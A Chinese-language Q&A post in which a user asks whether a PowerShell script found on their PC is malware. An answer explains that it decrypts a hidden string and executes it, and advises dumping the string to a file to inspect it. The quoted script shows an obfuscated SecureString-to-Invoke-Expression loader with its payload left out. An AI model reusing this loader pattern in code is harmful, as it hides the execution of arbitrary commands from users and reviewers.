包含可疑內容的未知 PowerShell 腳本:惡意軟體?

包含可疑內容的未知 PowerShell 腳本:惡意軟體?

5cfdf61c454c1fc5e9f0fcad2d12d5ef.ps1我在我的電腦上發現了一個名稱:

$pyfwthc = # this is just a TON of random letters and numbers didnt wanna waste the space and its probably not important (encrypted maybe?)
$sstring = ConvertTo-SecureString $pyfwthc
$script = (New-Object system.Management.Automation.PSCredential("pyfwthc", $sstring)).GetNetworkCredential().Password
Invoke-Expression $script

這是我該擔心的事嗎?

答案1

讓我們來分解一下。

更新:正如其他用戶指出的那樣,它正在將密碼字串作為命令運行。您想要將 $script 的值轉儲到檔案中,以便您可以看到它正在運行的內容:

從腳本中刪除最後一行並運行:

echo $script > this_is_the_script.file

相關內容